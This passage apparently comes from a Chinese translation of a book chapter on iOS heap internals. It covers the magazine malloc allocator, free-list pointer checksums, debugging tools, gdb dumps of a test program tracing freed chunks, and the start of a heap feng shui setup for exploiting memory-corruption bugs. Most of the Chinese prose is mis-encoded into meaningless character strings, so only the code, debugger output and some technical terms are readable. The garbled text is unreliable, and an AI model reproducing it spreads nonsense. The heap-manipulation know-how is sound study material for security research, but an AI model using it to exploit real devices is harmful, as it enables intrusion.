ФࠃὋࠪ ᤇዜ໣วᄉСซ᜵ఝܲڠஉڙѫᦠርࣿᄉาҮʼὋᏪʿ௦ԜူܪЮڰߚᄉ᣾ር˖ࠬ੼Ժ

ᑞڙߚᄉिཁǌ 
 ՐᏧʼᄉbugዜǌڙᄹҁʶ̎᜵යઁఝܲซ਒Ҧஉ͗ࠑʽʶᓫ˖Ὃܷڙ
ኪశ֖ຼѢ໣ว᤯࣡ᝧஈѣᏧі˪ᑞ͉ڙ਒ͮᎵ᧗з4˓੊ఝܲߙᓫǌʿ ክ௦ԦၶஞஜຼѢǋ

ᝧஈѣᏧᑞзЙᡓ᣾ᎀуӜܷ࠴ᄉஜ૵ǋᝧஈѣᏧᑞѫᦠܷ࠴ʿᑞ໗ᡛᭉයᄉᎀуӜὋᤆ௦ஈѣ

ᏧణՐథ఺͗Փඊᮔయ࠴ᄉᎀуӜ˖зஜ૵ὋஈѣᏧᭉ᜵ᄉᦏ௦ʶሗԺ̾ଌ҃۶̯࣊ࡌᏪ᧗зஜ

૵ᄉԺ᭤ழกǌ 
ྱѾ௦ڙ᣾ԜὋ᤯࣡ᄉን႔௦᧗з۶ᄉЊஜ૵ὋᤇಧᄉពὋॆᩖᛪᄉ౼˓ЊገᑱሎᩖᛪௐὋ

ஈѣᏧࡂԺᑞ᧗з͉਒ᄉЮͮߚᎵǌဗڙὋఝ࣡᜸ᄉϡก௦᧗зःၸርࣿྱథᄉஜ૵Ὃ۶˝ځ᤯

࣡͗ࠪФஜ૵ፆౝᄉʶᒰবᤈᛠ೜ಉǌ᧗зःၸርࣿྱథᄉஜ૵ज़ज़ᭉ᜵ᆷγᤈᛠຼѢᄉᎀуӜ

ˀᭉ᜵᧗зᄉᎀуӜሎ३ॡᤂǌڙఴብՐ᭦ᄉЮࠓ˖Ὃܷ ஜৰхʽᦏܷܲڙၸʶ̎ʹݟ˷ߥ࠱ࠑ

ᑞݍ஌ᄉኤӬ੾ࢻ౎੯ᛠᤇ̎ୱͺǌ 

7.2� ⧚㾷 iOS ㋏㒳㞾ᏺⱘߚ䜡⿟ᑣ 

iOSጆፑᒬࣛᄉѫᦠርࣿՏԶmagazine mallocǌ᜵ᆐቂឞѫᦠርࣿᄉࠃဗὋឯԟᏥMac OS X
ᒬࣛᄉѫᦠርࣿ὇Фࠃဗͮ̅Mac OS X Libcຸ̼ᆉᄉmagazine_malloc.c஠͇˖Ὀǌ 

ᙉཨ̠͂᧪ࠪ̾ґྟఴᄉMac OS Xѫᦠርࣿ˶धࡘ᣾ʶ̎ᆐቂὋͭˀmagazine mallocርࣿ໣ว

ஈѣథСᄉζোॡӚ˫ǌ᜵˿ᝌဗథᄉˀឞ˞ᮤథСᄉణ·ᆐቂᠪ஧ὋឯԟᏥDino Dai Zovi֖Charlie 
MillerᎃᗂᄉThe Mac Hackers Handbook὇Wiley PublishingὋ978-0-470-39536-3Ὀ̾ԢФ̴ʶ̎ᄆᄔ˹ǌ 

ఴᓫ๯ᄥ˿ܷࠑѸत᧪ࠪiOSѫᦠርࣿᄉ໣วஈѣርࣿ੝ᭉᄉഏএǌ 

7.2.1� ऎඳ 

magazine mallocርࣿڙ੯ᛠѫᦠௐၸҁ˿Ӝ۪὇regionὈᄉഏএǌХͳ౎ᝮࡂ௦ઁ۶Ѳѫ੆3
ሗӜ۪Ὑ 

� ॱۋ὇ߙ496̅࠴ᓫὈ὚ 
 ᓫὈ὚ߙ360 15̅࠴ᓫͭߙ὇ܷ̅496ۋ࠴ �
 ᓫὈǌߙ὇ܷ̅15 360ۋܷ �
Չ˓Ӝ۪௦ၿЮڰߚ᫻Ѵ὇˶Զͺ᧙ߔὈ֖ᆷ߿ᤇ̎᧙ߔ΍ၸ࿃খᄉЊஜ૵ጷ੆ᄉǌՉ˓Ӝ

۪˧ᫍ႔థӜѾὋᏪᤇԨф̅Ӝ۪ܷ֖࠴᧙࠴ܷߔᤇˏ˓ځገὙ 
� ॱۋӜ۪ܷ1˝࠴ MBὋࣲ˄΍ၸ˿ܷߙ16˝࠴ᓫᄉ᧙ߔ὚ 
 ὚ߔᓫᄉ᧙ߙ512˝࠴ܷ˿MBὋࣲ˄΍ၸ 8˝࠴Ӝ۪ܷۋ࠴ �

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



7.2� ူᝌ iOS ጆፑᒬࣛᄉѫᦠርࣿ� � 157 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

 ǌߔՉऩὋᏪ˄෤థ΍ၸ᧙࠴Ӝ۪ܷۋܷ �
ѫᦠርࣿ˝ॱۋ࠴֖ۋӜ۪፤એᅋ32˓ᒬၿѴᛪ὇freelistὈὋኃ1˓ᒯኃ31˓ᒬၿѴᛪ௦ၸ̅

ѫᦠᄉὋᏪణՐᄉᥦ˓ѴᛪѶၸ̅ˏ˓੊ܲ˓ग़൤᥵ᤂᄉࠪ៵ᜁ᧕உՐፆՋ੆ᄉڰǌ 
magazine mallocርࣿˀiOSʼ̾ґ΍ၸᄉѫᦠርࣿ˧ᫍڙߚʶ˓˞᜵ӜѾὙmagazine malloc

ርࣿѫѾ˝ጆፑ˖ڙߚᄉՉ˓CPU፤એᅋӬ࿗ᄉӜ۪ǌᤇ΍३magazine mallocርࣿඊ̾ґᄉѫᦠ

ርࣿఝࠓ௛ុᓫӜ۪ܷ࠴ǌͭఴብ˖ࣲలᏥᘼᤇʶࢿѾὋځ˝ԵథiPhone 4S֖iPad˧Րᄉ᝹ܫ੥

΍ၸ˿Ԥನ٧ူܪὋФ̴ᤁᛠiOSᄉᔰ౦ֵ̖ᦏԵథʶ˓CPUǌ  

7.2.2�  䜡ߚᄬݙ

Ӝ۪˓ג߿ᆷ࠴ௐὋmagazine mallocርࣿᯪЎ͗಩૵ឯයᄉܷߚःၸርࣿឯයጆፑ˝ФѫᦠЮڙ

௦Ջ᤟ᄉǌ᧪ࠪॱۋӜ۪֖ۋ࠴Ӝ۪ᄉᛠ˝௦ᄰՎᄉὋᏪܷۋӜ۪ᄉѫᦠ᣾ር͗႔థࢿऩǌఴᓫ࠱

̯͗ܿҁ̭ڠࡊፀॱۋӜ۪֖ܷۋӜ۪ᄉѫᦠ᣾ርὋ̾ Φܷࠑᑞܴ߸ஞڠ˿ᝌЮߚѫᦠ᣾ርᄉԓူǌ 
ඇॆథЮڰߚᜁ᧕உௐὋmagazine mallocርࣿڙ͗ࡂʶ˓Տ˝mag_last_freeᄉ˃ၸፆౝ

੆տ˖γ႐ࠪឞЮڰߚᄉलၸǌݟ౦ளᄉЮߚѫᦠឯය੝ឯයᄉܷ࠴ˀmag_last_freeलၸᄉ

Ю࠴ܷڰߚᄰՎὋ߱͗ࡂᜁᤄٿፋុၸርࣿὋૈ᧪ѶᜁᎵ˝NULLǌ 
౦ᤇʶݟᄰՎᄉХͳӜ۪ǌݝѷ࠴ቆ᫋ᛪ˖ಉ੼ܷڙʿՎὋmagazine mallocርࣿ͗࠴౦ܷݟ

ϱՋࣲᏪ౎ߚґଡ᣾ᄉὋឞቆ᫋ᛪᄉͺၸ௦˧ݟ೜ಉణՐᄉቆ᫋ᛪὋൣ͗ࡂណᤆ௦ʿ੆ҩὋ߱࠼

ᄉᣖܷЮڰߚǌ 
ፋុၸርࣿὋԲʶᦉѫٿᜁѫ˝ˏᦉѫὋʶᦉѫᤄ͗ڰߚ౦ణՐᄉቆ᫋ᛪ᭣ቆὋФ˖ᄉЮݟ

Ѷஉٿឞቆ᫋ᛪǌ 
ၸmmap()ѫᦠʶ͗ࡂӜ۪Ὃmagazine mallocርࣿߚណКᦏܾ᠋ὋలᑞѫᦠՋ᤟ᄉЮ࠼౦̾ʼݟ

˓ளЮڰߚὋࣲ˝Фૈ߿Ջ᤟ᄉӜ۪ዜۋǌᤇʶ᣾ር௦ၿЮߚѫᦠឯයల३ҁ໗ᡛᄉጲር੯ᛠᄉǌ 
ʿ௦ѽၸ32˓ቆ᫋ᛪὋᏪ௦ХథӉࣲ៵ࠪۋኤӬ३ܲ˿ǌܷࡂᏪᝒὋѫᦠ᣾ር៵ࠪۋܷ̅ࠪ

դ੝థԺၸஜ૵ᮉᄉᎀߚǌځ൤ὋѫᦠርࣿᯪЎ͗ࠬ੼ХథՋ᤟ܷ࠴ᄉࣂѫᦠЮߚᮅǌݟ౦෤੼

ҁὋ଼߱ࠬ͗ࡂఝܷᄉЮڰߚὋࣲࠪФᤈᛠѫҞὋ΍३Ф˖ᄉʶᦉѫᑞ໗ᡛ᜵යὋᏪԲʶᦉѫѶ

͗ᜁஉٿԺၸЮڰߚѴᛪ˖ǌ 
ణՐὋݟ౦෤థЮߚӜ۪ԺၸὋ͗ࡂ΍ၸmmap()੯ᛠѫᦠǌ 

7.2.3�  ᄬ䞞ᬒݙ

᧕உௐὋੇߚᝮᝌЮڙ൤ὋځᄉӜѾࠪ̅᧕உᏪᝒ௦ᄰՎᄉǌڙߚӜ۪ʼߚᤈᛠѫᦠௐЮڙ

͂˶௦ѫॱۋЮۋܷ֖៵ࠪߚЮࠪߚ៵ᤇˏዜ౎̭ፀǌ 
 ௦உᤈmag_last_freeǌࡂ˶Ὃ˖ߚФஉЙӜ۪ᎀ࠱ௐὋѫᦠርࣿ͗៵ࠪۋ᧕உॱڙ
˧ґڙߚᄉЮߚӜ۪͗૊ཱ̾ʽ3˓൥ᰠᜁሧҮҁՋ᤟ᄉቆ᫋ᛪ˖ǌᯪЎὋѫᦠርࣿ͗೜ಉ

ࠪ៵௦ՠԺ̾ˀଅ߱ڙґ᭦ᄉࠪ៵ՋࣲὋཨՐᰍ᝼ࠪ៵ᑞՠˀଅ߱ڙՐ᭦ᄉࠪ៵Ջࣲǌ಩૵ᤇ̎

Ջࣲୱͺ௦ՠ੆ҩὋࠪ៵͗ᜁᎵ̅ᄰःᄉͮᎵǌ 
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ᜁஉЙణՐᄉቆ᫋ᛪ͗ࡂ៵Ὃឞࠪ࠴Ӝ۪ᄉՋ᤟ܷۋ౦ՋࣲՐᄉࠪ៵ܷ̅ॱݟ ὇̟ٿਆʶʽ

7.2.2ᓫὋᤇ˓Ӝ۪உᎵᅋܷ࠴ᡓѢፋ߿Ӝ۪ᮔయᄉࠪ៵Ὀǌ 
ॆॱۋӜ۪ԵӉդ᧕உՐᄉЮڰߚௐὋஞ˓Ӝ۪͗ࡂᜁ᧕உፋጆፑǌ 
በԀᜁ᧕உፋ͗ࡂ៵౦ࠪ៵ඊ౼˓᫟ϘܷὋᥦ˥ឞࠪݟऩǌࢿᏪᝒὋ᣾ር႔థ៵ࠪۋܷ̅ࠪ

ጆፑὋՠѶϡกˀ᧕உॱࠪۋ࠴֖ۋ៵ௐዜͪὋࠪ៵͗ᜁஉᎵҁ˃᫂ᄉͮᎵὋԀ

large_entry_cache_newestǌ 
˶థᡛܴᄉቆᫍὋ˖ߚᎀ៵ࠪۋ౦ܷݟ ஜ૵ᮉᄉஜ᧙෤థᡓ᣾Љ᝴உᎵ˖ߚ౦ᎀݟ௦ឬὋࡂ

Ф˖ᄉణܷЊገஜὋڙܪణᤂͮᎵᄉࠪ៵͗ࡂᜁஉᤈԜǌᎀߚᄉܷ࠴Ԩф̅੝΍ၸᄉ౵ౝ֖ୱͺ

ጆፑǌ 
உЙᎀ៵ࠪઁڙ౦ݟǌՎಧὋ˖ߚᜁᄯଋ᧕உᏪʿஉЙᎀ͗ࡂ៵ጩʿʽࠪ៵Ὃࠪࠓߚ౦ᎀݟ

 ᜁѺᬓǌ͗ࡂ៵ణேᄉࠪ˖ߚԪ३ܹܷὋᎀ࠴ܷߚՐᎀ˖ߚ

7.3� 偃᳡ iOS ⱘߚ䜡⿟ᑣ 

ఴᓫፋѢ˿ᔩ࣯˓ΒߔὋ̾ ΦܷࠑԺ̾ఝူڠݝᝌѫᦠርࣿᄉఴ᠎Ὃࣲ ˿ᝌڙʹݟᤈᛠ໣ว

ஈѣௐᝧѫᦠርࣿ˝ࣁ੝ၸǌ 
ܷܲஜৰхʽὋܷࠑ᜵ᄯଋڙ᝹ܫʼᤈᛠူܪǌͺѢឞᤤસᄉ˞᜵ԓځ௦magazine malloc͗

γߚՉCPUʼॱۋ࠴֖ۋӜ۪ᄉᎀߚὋځ൤ᔭྱ࠶᝟ኪ఺ʼᄉᛠ˝ˀڙiPhoneʼᄉᛠ˝ᄰඊԺᑞ

ᄉ໣วஈѣርࣿௐὋʶᓉ̠͂ᤆ௦͗ၸMac OS Xʼᤁᛠᄉᘾࠃណဗុڙʿዴᆷ˿ǌʿ᣾Ὃܹࡂ

઱఺ᤈᛠူܪὋᤇ̯ԺၸᄉRAM֖CPUஜ᧙ʼᝮࣂፂ௦ࡉԺᑞڠଋᤂiPhone˿ǌԲʶሗఝࠓ௛ᄉ

Ժᛠᤤસ௦΍ၸᡔ࿜᣾ᄉiPhoneὋᤇಧࡂԺ̾΍ၸgdb֖Ф̴ʶ̎ࢹХ˿ǌ 

7.3.1� ᠔䳔Ꮉ݋ 

ੇ͂థॡܲԺ̾ڙMac OS Xʼࠪˀ۶థСᄉ᫇ᮤᤈᛠុណᄉᣘүࢹХԺၸὋͭʿࢻᄉ௦Ὃ

ᤇ̎ࢹХ˖Եథʶ࠴ᦉѫԺ̾ڙలᡔ࿜ᄉiPhoneʼ΍ၸǌ 
ఴᓫ͗ᝦ᝶ڙMac OS X֖iOSʼԺ̾΍ၸᄉ੝థࢹХὋࣲૈ௙ڙ̎גˏሗࣰԻʼᦏᑞ΍ၸὋ

Ꮺ̎גԵᑞڙMac OS X΍ၸǌ 
థʶ̎ဖܑԪ᧙Ժ̾ђᣏុណ͉ҫὋణ᧗᜵ᄉі˓ݟʽ੝ᇧǌ 
� MallocScribble� ˝੝థࣂ᧕உᄉЮ܌ߚЌ0x55ǌ 
� MallocPreScribble� ˝੝థలѹݼӐᄉЮ܌ߚЌ0xAAǌ 
� MallocStackLogging� ᝭ेЮڰߚᄉ߸ஞԊԽ֖ಖ௅ং὇Ժѽၸmalloc_historyಉ

ᄹፆ౦Ὀǌ 
ᤇ̎ဖܑԪ᧙௦ڙMac OS X֖iOS˖ᦏԺ̾΍ၸᄉǌ 
Բʶ˓ࠃၸࢹХ௦crashwranglerὋ߱ ၸ̅ᆷ߿੝ူܪbugᄉዜۋǌॆ ःၸርࣿ࢜ຳௐὋ߱ ͗ѫ

ᣱ࢜ຳᄉԓځὋࣲफຌഁ߱థ෤థԺᑞᜁѽၸǌʶᓉ౎ឬὋcrashwranglerࣲʿ᤟ၸ̅ᮔ฽Ժѽၸ

বὋͭࠪ̅ူᝌःၸርࣿ˝ʹ࢜ຳ౎ឬᤆ௦ᄰॆథၸᄉǌ 
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ణՐὋܷࠑԺ̾΍ၸDtraceಉᄹጆፑᒬࣛѫᦠርࣿѫᦠ֖᧕உЮڰߚᄉ᣾ርǌThe Mac 
Hacker’s Handbook̭ፀ˿᝴ܲၸ̅ុណᄉࠃၸDtraceᑭఴǌ 

Dtrace֖crashwranglerᦏ௦ԵᑞڙMac OS Xʼ΍ၸᄉǌ  

7.3.2� Ϣߚ䜡/䞞ᬒ᳝݇ⱘ෎⸔ⶹ䆚 

⊼ᛣ ఴ˹ᦠݒᎩቢwww.wiley.com/go/ioshackershandbookଡΘ˿ఴብ˖ၸҁᄉ̼ᆉǌ 

௦᧗з۶ᄉЊஜ૵ζোǌʿ᣾Ὃᤇʶયࡂ᣾ԜὋ᜵ࠪኪశbugᤈᛠ໣วஈѣὋణኤӬᄉҨกڙ

ࠪmagazine mallocርࣿ౎ឬࣂፂᛠʿ᤯˿ǌඇॆࠪ៵ᜁ᧕உௐὋᦏ͗థ̾ʽѥஜ౎ᰍ᝼߱ᄉ߸ஞবὙ 

static INLINE void * 
free_list_unchecksum_ptr(szone_t *szone, ptr_union *ptr) 
{ 
    ptr_union p; 
    uintptr_t t = ptr->u; 
 
    t = (t << NYBBLE) | (t >> ANTI_NYBBLE); // Պᅳׯთ࣍ᅎ࿋ኸସ 

    p.u = t & ~(uintptr_t)0xF; 
 
    if ((t & (uintptr_t)0xF) != free_list_gen_checksum(p.u ^ szone->cookie)) 
    { 
      free_list_checksum_botch(szone, (free_list_t *)ptr); 
      return NULL; 
    } 
    return p.p; 
} 

Хͳ౎ឬὋॆࠪ៵ᜁ᧕உՐὋ᜵ࠪФ۶ᄉЊஜ૵ᄉґ᯵֖ՐፘЊገᤈᛠᰍ᝼Ὃழก௦࠱ᤇˏ

˓ЊገѫѾˀᬣ఺ၶ੆ᄉcookieᤈᛠऩ੊ᤁኪǌ३ҁᄉፆ౦͗ѫѾஉҁՉᒬૈ᧪ᄉᰳ4ͮ˖ǌ�

ੇ͂ʿᭉ᜵ᰍ᝼ۋܷڙӜ۪˖ѫᦠᄉࠪ៵ᄉЊஜ૵ǌʿ ᣾Ὃᤇ̎ࠪ៵ᄉЊஜ૵ᦏ௦ѫधߚϱ

ᄉὋځ൤᧪ܷࠪࠪ៵ᄉፂЦஈѣ˶ࡂʿԺᛠ˿ǌ 
ᬓ᭣ஈѣᏧԺ̾ឳԨၸ̅ᰍ᝼۶ᄉЊஜ૵ᄉcookieὋʿཨ̴Եᑞᤤસ᧗зःၸርࣿྱథᄉஜ

૵ǌѢ̅ᤇʶԓځὋܷࠑःឞណᅋ˿ᝌᤈᛠ໣วஈѣௐԺᑞၸҁᄉ࣡᜸ୱͺǌ 
ࠪ̅ஈѣᏧ౎ឬὋ᜵ਆԺ᭤ڠ᧗зःၸርࣿྱథᄉஜ૵Ὃᑞܴ࠱Юࠪߚ៵Ꮅ̅Юߚ˖ᄰ̈˙

ᤂᄉͮᎵ௦ᄰॆ᧗᜵ᄉǌ 
˝˿ఝူڠݝᝌݟʹଌ҃۶ᄉ࣊ࡌὋᯪЎੇ͂౎ᄹʶ˓ኤӬᄉΒߔὋ߱ ឬ௙˿ѫᦠ֖᧕உࠪ

៵ᄉழयǌឯڙ฽ណၸᄉiOS᝹ܫʼᤁᛠឞःၸርࣿǌ 

#define DebugBreak() \ 
do { \ 
__asm__("mov r0, #20\nmov ip, r0\nsvc 128\nmov r1, #37\nmov ip, r1\nmov r1, #2\nmov 
r2, #1\n svc 128\n" \ 
: : : "memory","ip","r0","r1","r2"); \ 
} while (0) 
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int main(int argc, char *argv[]) 
{ 
    unsigned long *ptr1, *ptr2, *ptr3, *ptr4; 
    ptr1 = malloc(24); 
    ptr2 = malloc(24); 
    ptr3 = malloc(24); 
    ptr4 = malloc(24); 
 
    memset(ptr1, 0xaa, 24); 
    memset(ptr2, 0xbb, 24); 
    memset(ptr3, 0xcc, 24); 
    DebugBreak(); 
 
    free(ptr1); 
    DebugBreak(); 
    free(ptr3); 
    DebugBreak(); 
    free(ptr2); 
    DebugBreak(); 
    free(ptr4); 
    DebugBreak(); 
 
    @autoreleasepool { 
        return UIApplicationMain(argc, argv, nil, NSStringFromClass 
([bookAppDelegate class])); 
    } 
} 

ឞःၸርࣿᯪЎ͗ڙॱۋӜ۪˖ѫᦠٽ˓ᎀуӜὋཨՐधݼᤩʶ᧕உ߱͂ǌᤇ᧖᜵ၸҁʶ˓Ѹ

ᤴᣃ͇றཁᄉ߹Ὃᤇಧॆੇ͂ڙ฽ណ᝹ܫʼᤁᛠःၸርࣿௐὋࡂԺ̾ᝧXcodeᒬҮ˖றᤈЙgdb˿ǌ�

 Ὑ˿˖ߚᜁᎵЙЮࣲݝፂѫᦠࣂࡂὋᤇ̎ᎀуӜܪኃʶ˓றཁڙ

GNU gdb 6.3.50-20050815 (Apple version gdb-1708) (Fri Aug 26 04:12:03 UTC 2011) 
Copyright 2004 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for details. 
This GDB was configured as "--host=i386-apple-darwin 
--target=arm-apple-darwin".tty /dev/ttys002 
target remote-mobile /tmp/.XcodeGDBRemote-1923-40 
Switching to remote-macosx protocol 
mem 0x1000 0x3fffffff cache 
mem 0x40000000 0xffffffff none 
mem 0x00000000 0x0fff none 
[Switching to process 7171 thread 0x1c03] 
[Switching to process 7171 thread 0x1c03] 
sharedlibrary apply-load-rules all 
Current language: auto; currently objective-c 
(gdb) x/40x ptr1 
0x14fa50:     0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa 
0x14fa60:     0xaaaaaaaa   0xaaaaaaaa   0x00000000   0x00000000 
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0x14fa70:     0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb 
0x14fa80:     0xbbbbbbbb   0xbbbbbbbb   0x00000000   0x00000000 
0x14fa90:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x14faa0:     0xcccccccc   0xcccccccc   0x00000000   0x00000000 
0x14fab0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fac0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fad0:     0x7665442f   0x706f6c65   0x752f7265   0x6c2f7273 
0x14fae0:     0x6c2f6269   0x63586269   0x4465646f   0x67756265 
(gdb) c 
Continuing. 

ଋʽ౎ኃʶ˓ࠪ៵͗ᜁ᧕உὙ�

Program received signal SIGINT, Interrupt. 
main (argc=1, argv=0x2fdffbac) at /Users/snagg/Documents/Book/booktest 
/booktest/main.m:34 
34    free(ptr3); 
(gdb) x/40x ptr1 
0x14fa50:     0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa 
0x14fa60:     0xaaaaaaaa   0xaaaaaaaa   0x00000000   0x00000000 
0x14fa70:     0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb 
0x14fa80:     0xbbbbbbbb   0xbbbbbbbb   0x00000000   0x00000000 
0x14fa90:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x14faa0:     0xcccccccc   0xcccccccc   0x00000000   0x00000000 
0x14fab0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fac0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fad0:     0x7665442f   0x706f6c65   0x752f7265   0x6c2f7273 
0x14fae0:     0x6c2f6269   0x63586269   0x4465646f   0x67756265 
(gdb) c 
Continuing. 

Юࡌ࣊ߚᤆ෤థஇԪὋᏪᤇቿՋੇ͂˧ґͺѢᄉᝌ᧕ǌ̂ࠃʼὋᤇ᧖Ե᧕உ˿ptr1Ὃᄰः

�ǌఝᤈʶ൥Ὑ˖ߚὋ߱ᜁஉᎵҁ˿mag_last_freeᎀڠ

main (argc=1, argv=0x2fdffbac) at /Users/snagg/Documents/Book/booktest 
/booktest/main.m:36 
36        free(ptr2);  
(gdb) x/40x ptr1 
0x14fa50:     0x90000000   0x90000000   0xaaaa0002   0xaaaaaaaa 
0x14fa60:     0xaaaaaaaa   0xaaaaaaaa   0x00000000   0x00020000 
0x14fa70:     0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb 
0x14fa80:     0xbbbbbbbb   0xbbbbbbbb   0x00000000   0x00000000 
0x14fa90:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x14faa0:     0xcccccccc   0xcccccccc   0x00000000   0x00000000 
0x14fab0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fac0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fad0:     0x7665442f   0x706f6c65   0x752f7265   0x6c2f7273 
0x14fae0:     0x6c2f6269   0x63586269   0x4465646f   0x67756265 
(gdb) c 
Continuing. 

ဗڙptr3˶ᜁ᧕உ˿Ὃځ൤ॸᮋ࠱ptr1̯mag_last_freeᎀߚ˖ሧᡋὋ˶ࡂ௦ឬ߱ࠃᬄʼ

ᜁஉЙᒬၿѴᛪ˿ǌґˏ˓DWORDϘᛪᇧᒬၿѴᛪ˖ᄉґ᯵ૈ᧪֖Րፘૈ᧪ǌ᝭ͰὋૈ᧪௦᜵֖

ᬣ఺ၶ੆ᄉcookieᤈᛠऩ੊ᤁኪᄉ὚ܷࠑॡࠓ௛Ԧဗ߱͂ᦏ˝NULLὋᒬၿѴᛪ˧ґФࠃ௦ቆᄉǌ
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ʽʶ˓᜵᧕உᄉࠪ៵௦ptr2Ὑ�

Program received signal SIGINT, Interrupt. 
main (argc=1, argv=0x2fdffbac) at /Users/snagg/Documents/Book/booktest 
/booktest/ main.m:38 
38        free(ptr4); 
(gdb) x/40x ptr1 
0x14fa50:     0x70014fa9   0x90000000   0xaaaa0002   0xaaaaaaaa 
0x14fa60:     0xaaaaaaaa   0xaaaaaaaa   0x00000000   0x00020000 
0x14fa70:     0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb 
0x14fa80:     0xbbbbbbbb   0xbbbbbbbb   0x00000000   0x00000000 
0x14fa90:     0x90000000   0x70014fa5   0xcccc0002   0xcccccccc 
0x14faa0:     0xcccccccc   0xcccccccc   0x00000000   0x00020000 
0x14fab0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fac0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fad0:     0x7665442f   0x706f6c65   0x752f7265   0x6c2f7273 
0x14fae0:     0x6c2f6269   0x63586269   0x4465646f   0x67756265 
(gdb) c 
Continuing. 

ᤇ᧖ৰхథ˿࠴࠴ᄉԪӐǌဗڙptr2ڙmag_last_freeᎀߚ˖ὋᏪptr1֖ptr3ᦏڙᒬၿ

Ѵᛪ˖ǌ൤ܰὋptr1ґ᭦ᄉᥦ˓ૈ᧪ဗૈࣂڙՓptr3ὋᏪptr3˧Րᄉᥦ˓ૈ᧪ဗૈࣂڙՓptr1ǌ

ణՐὋੇ͂ᄹᄹ࠱ptr4உЙmag_last_freeᎀߚௐ͗Ԧၶ̣˥Ὑ�

Program received signal SIGINT, Interrupt. 
0x00002400 in main (argc=1, argv=0x2fdffbac) at 
/Users/snagg/Documents/Book/booktest/booktest/main.m:39 
39     DebugBreak(); 
(gdb) x/40x ptr1 
0x14fa50:     0x90000000   0x90000000   0xaaaa0006   0xaaaaaaaa 
0x14fa60:     0xaaaaaaaa   0xaaaaaaaa   0x00000000   0x00020000 
0x14fa70:     0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb   0xbbbbbbbb 
0x14fa80:     0xbbbbbbbb   0xbbbbbbbb   0x00000000   0x00000000 
0x14fa90:     0x90000000   0x90000000   0xcccc0002   0xcccccccc 
0x14faa0:     0xcccccccc   0xcccccccc   0x00000000   0x00060000 
0x14fab0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fac0:     0x00000000   0x00000000   0x00000000   0x00000000 
0x14fad0:     0x7665442f   0x706f6c65   0x752f7265   0x6c2f7273 
0x14fae0:     0x6c2f6269   0x63586269   0x4465646f   0x67756265 
(gdb) 

ptr2ᄉЮͪࠓ˪෤థஇԪὋʿ᣾Ф̴ৰхࡂʿՎ˿ǌᯪЎὋptr1ˀptr3ᄉґ᯵ૈ᧪֖Րፘ

ૈ᧪ᦏᜁᎵ˝NULLὋᏪ˄ptr1Юڰߚᄉܷ࠴˶Ԧၶ˿ԪӐǌ̂ࠃʼဗڙᄉptr1ࣂፂ᫁96ߙᓫ

὇0x0006*16ߙᓫὋᏪ16ߙᓫൣ௦ॱۋЮڰߚ᧙ߔᄉܷ࠴Ὀ˿ǌᤇ਒։ᅋptr1ǋptr2֖ptr3Кᦉ

ᜁՋࣲҁʶ˓ʿդФ̴ЊገᄉЮڰߚ˖ὋᏪឞЮڰߚஉᎵڙХథʿՎ᧙ߔ὇0x0006ὈᄉᒬၿѴ

ᛪ˖ǌځ൤Ὃ߱͂Չᒬᄉґ᯵ૈ᧪֖Րፘૈ᧪ᦏᜁ᧕உ˿ǌࠪः0x0002ᄉᒬၿѴᛪဗڙ˝ቆǌ�

1. 䩜ᇍㅫᴃⓣ⋲ⱘⓣ⋲ᬏߏ 
ґ᭦ᄉᤇ˓Βߔख़ऄᝮຌ˿᤯᣾᧗з۶ᄉЊஜ૵ᝧ̼ᆉ३̾੯ᛠᄉধᡸǌځ൤Ὃ׬ʶᄉᤤસ

ழयѫᦠࠪ៵Ὃઁ߿௦૊ཱྱࡂ ௛ԩஈѣᄉࠪ៵உᎵڙ᜵᧗зᄉࠪ៵ஷ᣷Ὃᤇ˓੾ࢻሥ˝۶᮲ප

὇Heap Feng ShuiὈǌڙఴብᬣՐᄉЮ͗ࠑܷ˖ࠓ˿ᝌҁ߱ᄉ۲ᆨᅻខὋࣲݟ͗ߥʹ᧪ࠪเ᜾٧΍
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ၸឞ੾ࢻǌဗڙὋܷࠑԵᭉ᜵੯ᛠ̾ʽኤӬ᝟ѲὙ 
(1) ѫᦠᔩ࣯˓௛ԩஈѣᄉࠪ៵὚  
  ÿ὚گᤇ̎ࠪ៵˧ᫍþ્ڙ (2)
(3) ઁþథ਒ধᄉÿࠪ៵ѫᦠҁᤇ̎þگÿ˖ǌ 
߱࠱Ժ̾ѽၸʽ᭦ᤇ˓ኤӬᄉःၸርࣿǌ߱ᯪЎ͗ѫᦠ50˓ࠪ៵ὋࣲࠑဗᤇʶᄫಕὋܷࠃ˿˝

͂ᄉЮࠓᎵ˝0xccǌཨՐᤇ̎ࠪ៵థʶӦ͗ᜁ᧕உ૿ὋణՐФ˖10˓ᜈథ0xaaᄉࠪ៵᜵ᤈᛠѫᦠǌ 

#define DebugBreak() \ 
do { \ 
__asm__("mov r0, #20\nmov ip, r0\nsvc 128\nmov r1, #37\nmov ip, r1\nmov r1, #2\nmov 
r2, #1\n svc 128\n" 
: : : "memory","ip","r0","r1","r2"); \ 
} while (0) 
 
int main(int argc, char *argv[]) 
{ 
    unsigned long *buggy[50]; 
    unsigned long *interesting[10]; 
    int i; 
 
